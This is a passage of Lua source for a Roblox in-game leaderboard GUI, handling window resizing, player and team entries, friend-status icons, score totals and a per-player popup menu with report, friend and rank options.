- UpdateScrollBarSize()
- UpdateScrollPosition()
- UpdateScrollBarVisibility()
- end
- end
- Spawn(function() WaitForClick(ScreenGui,dragpoll,dragExit) end)
- end)
- end
- -------------------------------
- -- Input Callback functions
- -------------------------------
- IsMaximized.Value=false
- IsMinimized.Value=false
- IsMaximized.Changed:connect(UpdateMaximize)
- IsMinimized.Changed:connect(UpdateMinimize)
- ExtendButton.MouseButton1Down:connect(function()
- if(time() - LastClick < ButtonCooldown) or InPopupWaitForClick then return end
- LastClick = time()
- if IsTabified.Value then
- UnTabify()
- else
- StartMinimizeDrag()
- end
- end)
- MaximizeButton.MouseButton1Click:connect(function()
- if(time() - LastClick < ButtonCooldown) or InPopupWaitForClick then return end
- LastClick = time()
- if IsTabified.Value then
- UnTabify()
- elseif not AreNamesExpanded.Value then
- AreNamesExpanded.Value = true
- BaseUpdate()
- else
- ToggleMaximize()
- end
- end)
- MaximizeButton.MouseButton2Click:connect(function()
- if(time() - LastClick < ButtonCooldown) or InPopupWaitForClick then return end
- LastClick = time()
- if IsTabified.Value then
- UnTabify()
- elseif IsMaximized.Value then
- ToggleMaximize()
- elseif AreNamesExpanded.Value then
- AreNamesExpanded.Value = false
- BaseUpdate()
- else
- Tabify()
- end
- end)
- -------------------------------
- -- MiddleFrames management
- -------------------------------
- --[[
- adds a background frame to the listframe
- --]]
- function AddMiddleBGFrame()
- local nBGFrame = MiddleBGTemplate:Clone()
- nBGFrame.Position = UDim2.new(.5,0,((#MiddleFrameBackgrounds) * nBGFrame.Size.Y.Scale),0)
- if (#MiddleFrameBackgrounds+1)%2 ~= 1 then
- if IsMaximized.Value then
- nBGFrame.Background.Image = 'http://www.roblox.com/asset/?id='..Images['LargeDark']
- else
- nBGFrame.Background.Image = 'http://www.roblox.com/asset/?id='..Images['midDark']
- end
- else
- if IsMaximized.Value then
- nBGFrame.Background.Image = 'http://www.roblox.com/asset/?id='..Images['LargeLight']
- else
- nBGFrame.Background.Image = 'http://www.roblox.com/asset/?id='..Images['midLight']
- end
- end
- nBGFrame.Parent = ListFrame
- table.insert(MiddleFrameBackgrounds,nBGFrame)
- if #MiddleFrameBackgrounds<DefaultListSize and not DidMinimizeDrag then
- --print('readjusting bottom clip')
- DefaultBottomClipPos=-1+(#MiddleFrameBackgrounds*MiddleBGTemplate.Size.Y.Scale)
- end
- if not IsMinimized.Value then
- UpdateMinimize()
- end
- end
- --[[
- removes a background from from the listframe
- --]]
- function RemoveMiddleBGFrame()
- MiddleFrameBackgrounds[#MiddleFrameBackgrounds]:Destroy()
- table.remove(MiddleFrameBackgrounds,#MiddleFrameBackgrounds)
- if not IsMinimized.Value then
- UpdateMinimize()
- end
- end
- -------------------------------
- -- Player Callback functions
- -------------------------------
- local FONT_SIZES =
- {'Size8','Size9','Size10','Size11','Size12','Size14','Size24','Size36','Size48'}
- --[[
- note:should probably set to something other than mainFrame.AbsoluteSize, should work for now
- if textbounds ever works on textscaled, switch to that :(
- --]]
- function ChangeHeaderName(nname)
- HeaderName.Text = nname
- UpdateHeaderNameSize()
- end
- --[[
- Will fit the player's name to the bounds of the header
- called on resize of the window and playedr name change events
- HACK: cannot use 'Textscaled' due to unable to find text bounds when scaled
- --]]
- function UpdateHeaderNameSize()
- local tHeader= HeaderName:Clone()
- tHeader.Position=UDim2.new(2,0,2,0)
- tHeader.Parent=ScreenGui
- local fSize=7 --Size24 in table
- tHeader.FontSize=FONT_SIZES[fSize]
- Delay(.2,function()
- while tHeader.TextBounds.x==0 do wait(1/30) end
- while tHeader.TextBounds.x-(NormalBounds.X.Offset) > 1 do
- fSize=fSize-1
- tHeader.FontSize=FONT_SIZES[fSize]
- wait(.2)
- end
- HeaderName.FontSize=tHeader.FontSize
- tHeader:Destroy()
- end)
- end
- ScreenGui.Changed:connect(UpdateHeaderNameSize)
- --[[
- called only when the leaderstats object is added to a given player entry
- removes old stats, adds any existing stats, and sets up listeners for new stats
- @Args:
- playerEntry A reference to the ENTRY(table) of the player who had leaderstats added
- --]]
- function LeaderstatsAdded(playerEntry)
- --RemoveAllStats(playerEntry)
- local nplayer = playerEntry['Player']
- for _,i in pairs(nplayer.leaderstats:GetChildren()) do
- StatAdded(i,playerEntry)
- end
- nplayer.leaderstats.ChildAdded:connect(function(nchild) StatAdded(nchild,playerEntry) end)
- nplayer.leaderstats.ChildRemoved:connect(function(nchild) StatRemoved(nchild,playerEntry) end)
- end
- --[[
- called when leaderstats object is removed from play in player entry
- Note: may not be needed, might be able to just rely on leaderstats added
- @Args:
- oldLeaderstats leaderstats object to be removed
- playerEntry A reference to the ENTRY(table) of the player
- --]]
- function LeaderstatsRemoved(oldLeaderstats,playerEntry)
- while AddingFrameLock do debugprint('waiting to insert '..playerEntry['Player'].Name) wait(1/30) end
- AddingFrameLock = true
- RemoveAllStats(playerEntry)
- AddingFrameLock = false
- end
- function ClosePopUpPanel()
- if SelectedPlayerEntry then
- local tframe = SelectedPlayerEntry['Frame']
- Spawn(function() TweenProperty(tframe,'BackgroundTransparency',.5,1,BASE_TWEEN) end)
- end
- PopUpPanel:TweenPosition(UDim2.new(1,0,0,0), "Out", "Linear", BASE_TWEEN,true)
- wait(.1)
- InPopupWaitForClick= false
- SelectedPlayerEntry = nil
- end
- --[[
- prepares the needed popup to be tweened on screen, and updates the position of the popup clip
- frame to match the selected player frame's position
- --]]
- function InitMovingPanel( entry, player)
- PopUpClipFrame.Parent= ScreenGui
- if PopUpPanel then
- PopUpPanel:Destroy()
- end
- PopUpPanel= PopUpPanelTemplate:Clone()
- PopUpPanel.Parent= PopUpClipFrame
- local nextIndex = 2
- local friendStatus = GetFriendStatus(player)
- debugprint (tostring(friendStatus))
- local showRankMenu = IsPersonalServer and LocalPlayer.PersonalServerRank >= PrivilegeLevel['Admin'] and LocalPlayer.PersonalServerRank > SelectedPlayer.PersonalServerRank
- local ReportPlayerButton = MakePopupButton(PopUpPanel,'Report Player',0)
- ReportPlayerButton.MouseButton1Click:connect(function() OpenAbuseDialog() end)
- local FriendPlayerButton = MakePopupButton(PopUpPanel,'Friend',1, not showRankMenu and friendStatus~=Enum.FriendStatus.FriendRequestReceived)
- FriendPlayerButton.MouseButton1Click:connect(OnFriendButtonSelect)
- if friendStatus==Enum.FriendStatus.Friend then
- FriendPlayerButton:FindFirstChild('ButtonText').Text='UnFriend Player'
- elseif friendStatus==Enum.FriendStatus.Unknown or friendStatus==Enum.FriendStatus.NotFriend then
- FriendPlayerButton:FindFirstChild('ButtonText').Text='Send Request'
- elseif friendStatus==Enum.FriendStatus.FriendRequestSent then
- FriendPlayerButton:FindFirstChild('ButtonText').Text='Revoke Request'
- elseif friendStatus==Enum.FriendStatus.FriendRequestReceived then
- FriendPlayerButton:FindFirstChild('ButtonText').Text='Accept Friend'
- local FriendRefuseButton = MakePopupButton(PopUpPanel,'Decline Friend',2,not showRankMenu)
- FriendRefuseButton.MouseButton1Click:connect(OnFriendRefuseButtonSelect)
- nextIndex=nextIndex+1
- end
- if showRankMenu then
- local BanPlayerButton = MakePopupButton(PopUpPanel,'Ban',nextIndex)
- local VisitorButton = MakePopupButton(PopUpPanel,'Visitor',nextIndex+1)
- local MemberButton = MakePopupButton(PopUpPanel,'Member',nextIndex+2)
- local AdminButton = MakePopupButton(PopUpPanel,'Admin',nextIndex+3,true)
- BanPlayerButton.MouseButton1Click:connect(function()
- OnPrivilegeLevelSelect(player,PrivilegeLevel['Banned'],BanPlayerButton,VisitorButton,MemberButton,AdminButton)
- end)
- VisitorButton.MouseButton1Click:connect(function()
- OnPrivilegeLevelSelect(player,PrivilegeLevel['Visitor'],BanPlayerButton,VisitorButton,MemberButton,AdminButton)
- end)
- MemberButton.MouseButton1Click:connect(function()
- OnPrivilegeLevelSelect(player,PrivilegeLevel['Member'],BanPlayerButton,VisitorButton,MemberButton,AdminButton)
- end)
- AdminButton.MouseButton1Click:connect(function()
- OnPrivilegeLevelSelect(player,PrivilegeLevel['Admin'],BanPlayerButton,VisitorButton,MemberButton,AdminButton)
- end)
- HighlightMyRank(SelectedPlayer,BanPlayerButton,VisitorButton,MemberButton,AdminButton)
- end
- PopUpPanel:TweenPosition(UDim2.new(0,0,0,0), "Out", "Linear", BASE_TWEEN,true)
- Delay(0, function()
- local tconnection
- tconnection = Mouse.Button1Down:connect(function()
- tconnection:disconnect()
- ClosePopUpPanel()
- end)
- end)
- local myFrame = entry['Frame']
- -- THIS IS GARBAGE.
- -- if I parent to frame to auto update position, it gets clipped
- -- sometimes garbage is the only option.
- Spawn(function()
- while InPopupWaitForClick do
- PopUpClipFrame.Position=UDim2.new( 0,myFrame.AbsolutePosition.X-PopUpClipFrame.Size.X.Offset,0,myFrame.AbsolutePosition.Y)
- wait()
- end
- end)
- end
- --[[
- Called when a player entry in the leaderboard is clicked
- either will highlight entry and start the drag event, or open a popup menu
- @Args:
- entry the player entry clicked
- --]]
- function OnPlayerEntrySelect(entry,startx,starty)
- if not InPopupWaitForClick then
- SelectedPlayerEntry = entry
- SelectedPlayer = entry['Player']
- StartDrag(entry,startx,starty)
- end
- end
- function ActivatePlayerEntryPanel(entry)
- entry['Frame'].BackgroundColor3 = Color3.new(0,1,1)
- Spawn(function() TweenProperty(entry['Frame'],'BackgroundTransparency',1,.5,.5) end)
- InPopupWaitForClick=true
- InitMovingPanel(entry,entry['Player'])
- end
- --[[
- the basic update for the playerlist mode's state,
- assures the order and length of the player frames
- --]]
- function PlayerListModeUpdate()
- RecreateScoreColumns(PlayerFrames)
- table.sort(PlayerFrames,PlayerSortFunction)
- for i,val in ipairs(PlayerFrames) do
- MiddleFrames[i] = val['Frame']
- end
- for i = #PlayerFrames + 1,#MiddleFrames,1 do
- MiddleFrames[i] = nil
- end
- UpdateMinimize()
- end
- --[[
- this one's a doozie, happens when a player is added to the game
- inits their player frame and player entry, assigns them to a team if possible,
- and hooks up their leaderstats
- @Args:
- nplayer new player object to insert
- --]]
- function GetMembershipTypeIconWidth(membershipType, name)
- return ADMIN_ICON_WIDTHS[name:lower()] or 16
- end
- function InsertPlayerFrame(nplayer)
- if HIDDEN_PLAYERS[nplayer.Name:lower()] == true then return end
- while AddingFrameLock do debugprint('waiting to insert '..nplayer.Name) wait(1/30) end
- AddingFrameLock = true
- local nFrame = MiddleTemplate:Clone()
- WaitForChild(WaitForChild(nFrame,'TitleFrame'),'Title').Text = GetAliasOf(nplayer.Name)
- coroutine.resume(coroutine.create(function() nFrame.TitleFrame:WaitForChild 'DropShadow' while wait(1) do
- nFrame.TitleFrame.Title.Text = GetAliasOf(nplayer.Name)
- nFrame.TitleFrame.DropShadow.Text = GetAliasOf(nplayer.Name)
- end end))
- nFrame.Position = UDim2.new(1,0,((#MiddleFrames) * nFrame.Size.Y.Scale),0)
- local nfriendstatus = GetFriendStatus(nplayer)
- local oldIconWidth = 0
- coroutine.resume(coroutine.create(function() while true do
- nFrame:FindFirstChild('BCLabel').Image = getMembershipTypeIcon(nplayer.MembershipType,nplayer.Name)
- local membershipIconWidth = GetMembershipTypeIconWidth(nplayer.MembershipType,nplayer.Name)+5
- local iconWidthDiff = membershipIconWidth - oldIconWidth
- oldIconWidth = membershipIconWidth
- nFrame:FindFirstChild('BCLabel').Size = UDim2.new(0, membershipIconWidth-5, 0, 16)
- nFrame:FindFirstChild('FriendLabel').Image = getFriendStatusIcon(nfriendstatus)
- nFrame.Name = nplayer.Name
- --move for bc label
- nFrame.FriendLabel.Position=nFrame.FriendLabel.Position+UDim2.new(0,iconWidthDiff,0,0)
- nFrame.TitleFrame.Title.Position=nFrame.TitleFrame.Title.Position+UDim2.new(0,iconWidthDiff,0,0)
- if(nFrame:FindFirstChild('FriendLabel').Image ~= '') then
- nFrame.TitleFrame.Title.Position=nFrame.TitleFrame.Title.Position+UDim2.new(0,iconWidthDiff,0,0)
- end
- -- custom background colors
- if CUSTOM_LABEL_BACKGROUND_COLORS[nplayer.Name:lower()] ~= nil then
- nFrame.BackgroundTransparency = 0.5
- nFrame.BackgroundColor3 = CUSTOM_LABEL_BACKGROUND_COLORS[nplayer.Name:lower()]
- nFrame.BorderSizePixel = 0
- else
- nFrame.BackgroundTransparency = 1
- end
- -- custom name colors
- if CUSTOM_LABEL_NAME_COLORS[nplayer.Name:lower()] ~= nil then
- nFrame.TitleFrame.Title.TextColor3 = CUSTOM_LABEL_NAME_COLORS[nplayer.Name:lower()]
- else
- nFrame.TitleFrame.Title.TextColor3 = Color3.new(1, 1, 1)
- end
- wait(1)
- end end))
- if nplayer.Name == LocalPlayer.Name then
- nFrame.TitleFrame.Title.Font = 'ArialBold'
- nFrame.PlayerScore.Font = 'ArialBold'
- ChangeHeaderName(GetAliasOf(nplayer.Name))
- local dropShadow = nFrame.TitleFrame.Title:Clone()
- dropShadow.TextColor3 = Color3.new(0,0,0)
- dropShadow.TextTransparency=0
- dropShadow.ZIndex=3
- nFrame.TitleFrame.Title.ZIndex = 4
- dropShadow.Position=nFrame.TitleFrame.Title.Position+UDim2.new(0,1,0,1)
- dropShadow.Name='DropShadow'
- dropShadow.Parent= nFrame.TitleFrame
- else
- --Delay(2, function () OnFriendshipChanged(nplayer,LocalPlayer:GetFriendStatus(nplayer)) end)
- end
- nFrame.TitleFrame.Title.Font = 'ArialBold'
- nFrame.Parent = ListFrame
- nFrame:TweenPosition(UDim2.new(.5,0,((#MiddleFrames) * nFrame.Size.Y.Scale),0), "Out", "Linear", BASE_TWEEN,true)
- UpdateMinimize()
- local nentry = {}
- nentry['Frame'] = nFrame
- nentry['Player'] = nplayer
- nentry['ID'] = AddId
- AddId = AddId + 1
- table.insert(PlayerFrames,nentry)
- if #TeamFrames~=0 then
- if nplayer.Neutral then
- nentry['MyTeam'] = nil
- if not NeutralTeam then
- AddNeutralTeam()
- else
- AddPlayerToTeam(NeutralTeam,nentry)
- end
- else
- local addedToTeam=false
- for i,tval in ipairs(TeamFrames) do
- if tval['MyTeam'].TeamColor == nplayer.TeamColor then
- AddPlayerToTeam(tval,nentry)
- nentry['MyTeam'] = tval
- addedToTeam=true
- end
- end
- if not addedToTeam then
- nentry['MyTeam']=nil
- if not NeutralTeam then
- AddNeutralTeam()
- else
- AddPlayerToTeam(NeutralTeam,nentry)
- end
- nentry['MyTeam'] = NeutralTeam
- end
- end
- end
- if nplayer:FindFirstChild('leaderstats') then
- LeaderstatsAdded(nentry)
- end
- nplayer.ChildAdded:connect(function(nchild)
- if nchild.Name == 'leaderstats' then
- while AddingFrameLock do debugprint('in adding leaderstats lock') wait(1/30) end
- AddingFrameLock = true
- LeaderstatsAdded(nentry)
- AddingFrameLock = false
- end
- end)
- nplayer.ChildRemoved:connect(function (nchild)
- if nplayer==LocalPlayer and nchild.Name == 'leaderstats' then
- LeaderstatsRemoved(nchild,nentry)
- end
- end)
- nplayer.Changed:connect(function(prop)PlayerChanged(nentry,prop) end)
- local listener = WaitForChild(nFrame,'ClickListener')
- listener.Active = true
- listener.MouseButton1Down:connect(function(nx,ny) OnPlayerEntrySelect(nentry, nx,ny) end)
- AddMiddleBGFrame()
- BaseUpdate()
- AddingFrameLock = false
- end
- --[[
- Note:major optimization can be done here
- removes this player's frame if it exists, calls base update
- --]]
- function RemovePlayerFrame(tplayer)
- while AddingFrameLock do debugprint('in removing player frame lock') wait(1/30) end
- AddingFrameLock = true
- local tteam
- for i,key in ipairs(PlayerFrames) do
- if tplayer == key['Player'] then
- if PopUpClipFrame.Parent == key['Frame'] then
- PopUpClipFrame.Parent = nil
- end
- key['Frame']:Destroy()
- tteam=key['MyTeam']
- table.remove(PlayerFrames,i)
- end
- end
- if tteam then
- for j,tentry in ipairs(tteam['MyPlayers']) do
- if tentry['Player'] == tplayer then
- RemovePlayerFromTeam(tteam,j)
- end
- end
- end
- RemoveMiddleBGFrame()
- UpdateMinimize()
- BaseUpdate()
- AddingFrameLock = false
- end
- Players.ChildRemoved:connect(RemovePlayerFrame)
- ----------------------------
- -- Team Callback Functions
- ----------------------------
- --[[
- turns a list of team entries with sub lists of players into a single ordered
- list, in the correct order,and of the correct length
- @Args:
- tframes the team entries to unroll
- outframes the list to unroll these entries into
- --]]
- function UnrollTeams(tframes,outframes)
- local numEntries = 0
- if NeutralTeam and not NeutralTeam['IsHidden'] then
- for i,val in ipairs(NeutralTeam['MyPlayers']) do
- numEntries = numEntries + 1
- outframes[numEntries] = val['Frame']
- end
- numEntries = numEntries + 1
- outframes[numEntries] = NeutralTeam['Frame']
- end
- for i,val in ipairs(tframes) do
- if not val['IsHidden'] then
- for j,pval in ipairs(val.MyPlayers) do
- numEntries = numEntries + 1
- outframes[numEntries] = pval['Frame']
- end
- numEntries = numEntries + 1
- outframes[numEntries] = val['Frame']
- end
- end
- -- clear any additional entries from outframes
- for i = numEntries + 1,#outframes,1 do
- outframes[i] = nil
- end
- end
- --[[
- uses lua's table.sort to sort the teams
- --]]
- function TeamSortFunc(a,b)
- if a['TeamScore'] == b['TeamScore'] then
- return a['ID'] < b['ID']
- end
- if not a['TeamScore'] then return false end
- if not b['TeamScore'] then return true end
- return a['TeamScore'] < b['TeamScore']
- end
- --[[
- consider adding lock with wait for performance
- sorts each of the team's player lists induvidually, adds up the team scores.
- @Args:
- tentries table of team entries
- --]]
- function SortTeams(tentries)
- for i,val in ipairs(tentries) do
- table.sort(val['MyPlayers'],PlayerSortFunction)
- AddTeamScores(val)
- end
- table.sort(tentries,TeamSortFunc)
- end
- --[[
- base update for team mode, adds up the scores of all teams, sorts them,
- then unrolls them into middleframes
- --]]
- function TeamListModeUpdate()
- RecreateScoreColumns(PlayerFrames)
- SortTeams(TeamFrames)
- if NeutralTeam then
- AddTeamScores(NeutralTeam)
- --RecreateScoreColumns(NeutralTeam['MyPlayers'])
- end
- UnrollTeams(TeamFrames,MiddleFrames)
- end
- --[[
- adds up all the score of this team's players to form the team score
- @Args:
- team team entry to sum the scores of
- --]]
- function AddTeamScores(team)
- for j = 1, #ScoreNames,1 do
- local i = ScoreNames[j]
- local tscore = 0
- for _,j in ipairs(team['MyPlayers']) do
- local tval = j['Player']:FindFirstChild('leaderstats') and j['Player'].leaderstats:FindFirstChild(i['Name'])
- if tval and not tval:IsA('StringValue') then
- tscore = tscore + GetScoreValue((j['Player'].leaderstats)[i['Name'] ])
- end
- end
- if team['Frame']:FindFirstChild(i['Name']) then
- --team['Frame'][i['Name'] ].Size = UDim2.new(1 - (ScrollBarFrame.Size.X.Scale * 2),- ((j-1) * SpacingPerStat),1,0)
- team['Frame'][i['Name'] ].Text = tostring(tscore)
- end
- end
- UpdateMinimize()
- end
- --[[
- finds previous team this player was on, and if it exists calls removeplayerfromteam
- @Args
- entry Player entry
- --]]
- function FindRemovePlayerFromTeam(entry)
- if entry['MyTeam'] then
- for j,oldEntry in ipairs(entry['MyTeam']['MyPlayers']) do
- if oldEntry['Player'] == entry['Player'] then
- RemovePlayerFromTeam(entry['MyTeam'],j)
- return
- end
- end
- elseif NeutralTeam then
- for j,oldEntry in ipairs(NeutralTeam['MyPlayers']) do
- if oldEntry['Player'] == entry['Player'] then
- RemovePlayerFromTeam(NeutralTeam,j)
- return
- end
- end
- end
- end
- --[[
- removes a single player from a given team (not usually called directly)
- @Args:
- teamEntry team entry to remove player from
- index index of player in 'MyPlayers' list to remove
- --]]
- function RemovePlayerFromTeam(teamEntry,index)
- table.remove(teamEntry['MyPlayers'],index)
- --if teamEntry['AutoHide'] and #teamEntry['MyPlayers'] == 0 then
- if teamEntry==NeutralTeam and #teamEntry['MyPlayers']==0 then
- RemoveNeutralTeam()
- end
- end
- --[[
- adds player entry entry to teamentry
- removes them from any previous team
- @Args:
- teamEntry entry of team to add player to
- entry player entry to add to this team
- --]]
- function AddPlayerToTeam(teamEntry,entry)
- FindRemovePlayerFromTeam(entry)
- table.insert(teamEntry['MyPlayers'],entry)
- entry['MyTeam'] = teamEntry
- if teamEntry['IsHidden'] then
- teamEntry['Frame'].Parent = ListFrame
- AddMiddleBGFrame()
- end
- teamEntry['IsHidden'] = false
- end
- function SetPlayerToTeam(entry)
- FindRemovePlayerFromTeam(entry)
- -- check to see if team exists, if it does add to that team
- local setToTeam = false
- for i,tframe in ipairs(TeamFrames) do
- -- add my entry on the new team
- if tframe['MyTeam'].TeamColor == entry['Player'].TeamColor then
- AddPlayerToTeam(tframe,entry)
- setToTeam = true
- end
- end
- -- if player was set to an invalid team, then set it back to neutral
- if not setToTeam and #(game.Teams:GetTeams())>0 then
- debugprint(entry['Player'].Name..'could not find team')
- entry['MyTeam']=nil
- if not NeutralTeam then
- AddNeutralTeam()
- else AddPlayerToTeam(NeutralTeam,entry) end
- end
- end
- --[[
- Note:another big one, consiter breaking up
- called when any children of player changes
- handles 'Neutral', teamColor, Name and MembershipType changes
- @Args
- entry Player entry changed
- property name of property changed
- --]]
- function PlayerChanged(entry, property)
- while PlayerChangedLock do
- debugprint('in playerchanged lock')
- wait(1/30)
- end
- PlayerChangedLock=true
- if property == 'Neutral' then
- -- if player changing to neutral
- if entry['Player'].Neutral and #(game.Teams:GetTeams())>0 then
- debugprint(entry['Player'].Name..'setting to neutral')
- FindRemovePlayerFromTeam(entry)
- entry['MyTeam']=nil
- if not NeutralTeam then
- debugprint(entry['Player'].Name..'creating neutral team')
- AddNeutralTeam()
- else
- debugprint(entry['Player'].Name..'adding to neutral team')
- AddPlayerToTeam(NeutralTeam,entry)
- end
- elseif #(game.Teams:GetTeams())>0 then -- else player switching to a team, or a weird edgecase
- debugprint(entry['Player'].Name..'has been set non-neutral')
- SetPlayerToTeam(entry)
- end
- BaseUpdate()
- elseif property == 'TeamColor' and not entry['Player'].Neutral and entry['Player'] ~= entry['MyTeam'] then
- debugprint(entry['Player'].Name..'setting to new team')
- SetPlayerToTeam(entry)
- BaseUpdate()
- elseif property == 'Name' or property == 'MembershipType' then
- entry['Frame']:FindFirstChild('BCLabel').Image = getMembershipTypeIcon(entry['Player'].MembershipType,entry['Player'].Name)
- entry['Frame'].Name = entry['Player'].Name
- entry['Frame'].TitleFrame.Title.Text = entry['Player'].Name
- if(entry['Frame'].BCLabel.Image ~= '') then
- entry['Frame'].TitleFrame.Title.Position=UDim2.new(.01, 30, .1, 0)
- end
- if entry['Player'] == LocalPlayer then
- entry['Frame'].TitleFrame.DropShadow.Text= entry['Player'].Name
- ChangeHeaderName(entry['Player'].Name)
- end
- BaseUpdate()
- end
- PlayerChangedLock=false
- end
- function OnFriendshipChanged(player,friendStatus)
- Delay(.5,function()
- debugprint('friend status changed for:'..player.Name .." ".. tostring(friendStatus) .. " vs " .. tostring(GetFriendStatus(player)) )
- for _, entry in ipairs(PlayerFrames) do
- if entry['Player']==player then
- local nicon = getFriendStatusIcon(friendStatus)
- if nicon == '' and entry['Frame'].FriendLabel.Image ~= '' then
- entry['Frame'].TitleFrame.Title.Position=entry['Frame'].TitleFrame.Title.Position-UDim2.new(0,17,0,0)
- elseif nicon ~= '' and entry['Frame'].FriendLabel.Image == '' then
- entry['Frame'].TitleFrame.Title.Position=entry['Frame'].TitleFrame.Title.Position+UDim2.new(0,17,0,0)
- debugprint('confirmed status:'..player.Name)
- end
- entry['Frame'].FriendLabel.Image = nicon
- return
- end
- end
- end)
- end
- --LocalPlayer.FriendStatusChanged:connect(OnFriendshipChanged)
- --[[
- adds a neutral team if nessisary
- Note: a lot of redundant code here, might want to refactor to share a function with insertteamframe
- --]]
- function AddNeutralTeam()
- if not TEAMS_ENABLED then return end
- while NeutralTeamLock do debugprint('in neutral team 2 lock') wait() end
- NeutralTeamLock = true
- local defaultTeam = Instance.new('Team')
- defaultTeam.TeamColor = BrickColor.new('White')
- defaultTeam.Name = 'Neutral'
- local nentry = {}
- nentry['MyTeam'] = defaultTeam
- nentry['MyPlayers'] = {}
- nentry['Frame'] = MiddleTemplate:Clone()
- WaitForChild(WaitForChild(nentry['Frame'],'TitleFrame'),'Title').Text = defaultTeam.Name
- nentry['Frame'].TitleFrame.Position=UDim2.new(nentry['Frame'].TitleFrame.Position.X.Scale,nentry['Frame'].TitleFrame.Position.X.Offset,.1,0)
- nentry['Frame'].TitleFrame.Size=UDim2.new(nentry['Frame'].TitleFrame.Size.X.Scale,nentry['Frame'].TitleFrame.Size.X.Offset,.8,0)
- nentry['Frame'].TitleFrame.Title.Font = 'ArialBold'
- nentry['Frame'].Position = UDim2.new(1,0,((#MiddleFrames) * nentry['Frame'].Size.Y.Scale),0)
- WaitForChild(nentry['Frame'],'ClickListener').MouseButton1Down:connect(function(nx,ny) StartDrag(nentry,nx,ny) end)
- nentry['Frame'].ClickListener.BackgroundColor3 = Color3.new(1,1,1)
- nentry['Frame'].ClickListener.BackgroundTransparency = .7
- nentry['Frame'].ClickListener.AutoButtonColor=false
- nentry['AutoHide'] = true
- nentry['IsHidden'] = true
- for _,i in pairs(PlayerFrames) do
- if i['Player'].Neutral or not i['MyTeam'] then
- AddPlayerToTeam(nentry,i)
- end
- end
- if #nentry['MyPlayers'] > 0 then
- NeutralTeam = nentry
- UpdateMinimize()
- BaseUpdate()
- end
- NeutralTeamLock = false
- end
- function RemoveNeutralTeam()
- while NeutralTeamLock do debugprint('in neutral team lock') wait() end
- NeutralTeamLock = true
- NeutralTeam['Frame']:Destroy()
- NeutralTeam=nil
- RemoveMiddleBGFrame()
- NeutralTeamLock = false
- end
- --[[
- --]]
- function TeamScoreChanged(entry,nscore)
- WaitForChild(entry['Frame'],'PlayerScore').Text = tostring(nscore)
- entry['TeamScore'] = nscore
- end
- --[[
- called when child added to a team, used for autohide functionality
- Note: still has teamscore, consiter removing
- --]]
- function TeamChildAdded(entry,nchild)
- if nchild.Name == 'AutoHide' then
- entry['AutoHide'] = true
- elseif nchild.Name == 'TeamScore' then
- WaitForChild(entry['Frame'],'PlayerScore').Text = tostring(nchild.Value)
- entry['TeamScore'] = nchild.Value
- nchild.Changed:connect(function() TeamScoreChanged(entry,nchild.Value) end)
- end
- end
- --[[
- called when child added to a team, used for autohide functionality
- Note: still has teamscore, consiter removing
- --]]
- function TeamChildRemoved(entry,nchild)
- if nchild.Name == 'AutoHide' then
- entry['AutoHide'] = false
- elseif nchild.Name == 'TeamScore' then
- WaitForChild(entry['Frame'],'PlayerScore').Text = ""
- entry['TeamScore'] = nil
- end
- end
- function TeamChanged(entry, property)
- if property=='Name' then
- WaitForChild(WaitForChild(entry['Frame'],'TitleFrame'),'Title').Text = entry['MyTeam'].Name
- elseif property=='TeamColor' then
- entry['Frame'].ClickListener.BackgroundColor3 = entry['MyTeam'].TeamColor.Color
- for _,i in pairs(TeamFrames) do
- if i['MyTeam'].TeamColor == entry['MyTeam'] then
- RemoveTeamFrame(entry['MyTeam']) --NO DUPLICATE TEAMS!
- end
- end
- entry['MyPlayers']={}
- for _,i in pairs(PlayerFrames) do
- SetPlayerToTeam(i)
- end
- BaseUpdate()
- end
- end
- --[[
- creates team entry and frame for this team, sets up listeners for this team
- adds any players intended for this team,Creates neutral team if this is the first team added
- Note:might be best to break this into multiple functions to simplify
- @Args:
- nteam new team object added
- --]]
- function InsertTeamFrame(nteam)
- if not TEAMS_ENABLED then return end
- while AddingFrameLock do debugprint('in adding team frame lock') wait(1/30) end
- AddingFrameLock = true
- --for _,i in pairs(TeamFrames) do
- local nentry = {}
- nentry['MyTeam'] = nteam
- nentry['MyPlayers'] = {}
- nentry['Frame'] = MiddleTemplate:Clone()
- WaitForChild(WaitForChild(nentry['Frame'],'TitleFrame'),'Title').Text = nteam.Name
- nentry['Frame'].TitleFrame.Title.Font = 'ArialBold'
- nentry['Frame'].TitleFrame.Title.FontSize = 'Size18'
- nentry['Frame'].TitleFrame.Position=UDim2.new(nentry['Frame'].TitleFrame.Position.X.Scale,nentry['Frame'].TitleFrame.Position.X.Offset,.1,0)
- nentry['Frame'].TitleFrame.Size=UDim2.new(nentry['Frame'].TitleFrame.Size.X.Scale,nentry['Frame'].TitleFrame.Size.X.Offset,.8,0)
- nentry['Frame'].Position = UDim2.new(1,0,((#MiddleFrames) * nentry['Frame'].Size.Y.Scale),0)
- WaitForChild(nentry['Frame'],'ClickListener').MouseButton1Down:connect(function(nx,ny) StartDrag(nentry,nx,ny) end)
- nentry['Frame'].ClickListener.BackgroundColor3 = nteam.TeamColor.Color
- nentry['Frame'].ClickListener.BackgroundTransparency = .7
- nentry['Frame'].ClickListener.AutoButtonColor=false
- AddId = AddId + 1
- nentry['ID'] = AddId
- nentry['AutoHide'] = false
- if nteam:FindFirstChild('AutoHide') then
- nentry['AutoHide'] = true
- end
- if nteam:FindFirstChild('TeamScore') then
- TeamChildAdded(nentry,nteam.TeamScore)
- end
- nteam.ChildAdded:connect(function(nchild) TeamChildAdded(nentry,nchild) end)
- nteam.ChildRemoved:connect(function(nchild) TeamChildRemoved(nentry,nchild) end)
- nteam.Changed:connect(function(prop) TeamChanged(nentry,prop) end)
- for _,i in pairs(PlayerFrames) do
- if not i['Player'].Neutral and i['Player'].TeamColor == nteam.TeamColor then
- AddPlayerToTeam(nentry,i)
- end
- end
- nentry['IsHidden'] = false
- if not nentry['AutoHide'] or #nentry['MyPlayers'] > 0 then
- nentry['Frame'].Parent = ListFrame
- nentry['Frame']:TweenPosition(UDim2.new(.5,0,((#MiddleFrames) * nentry['Frame'].Size.Y.Scale),0), "Out", "Linear", BASE_TWEEN,true)
- AddMiddleBGFrame()
- else
- nentry['IsHidden'] = true
- nentry['Frame'].Parent = nil
- end
- table.insert(TeamFrames,nentry)
- UpdateMinimize()
- BaseUpdate()
- if #TeamFrames == 1 and not NeutralTeam then
- AddNeutralTeam()
- end
- AddingFrameLock = false
- end
- --[[
- removes team from team list
- @Args:
- nteam Teamobject to remove
- --]]
- function RemoveTeamFrame(nteam)
- while AddingFrameLock do debugprint('in removing team frame lock') wait(1/30) end
- AddingFrameLock = true
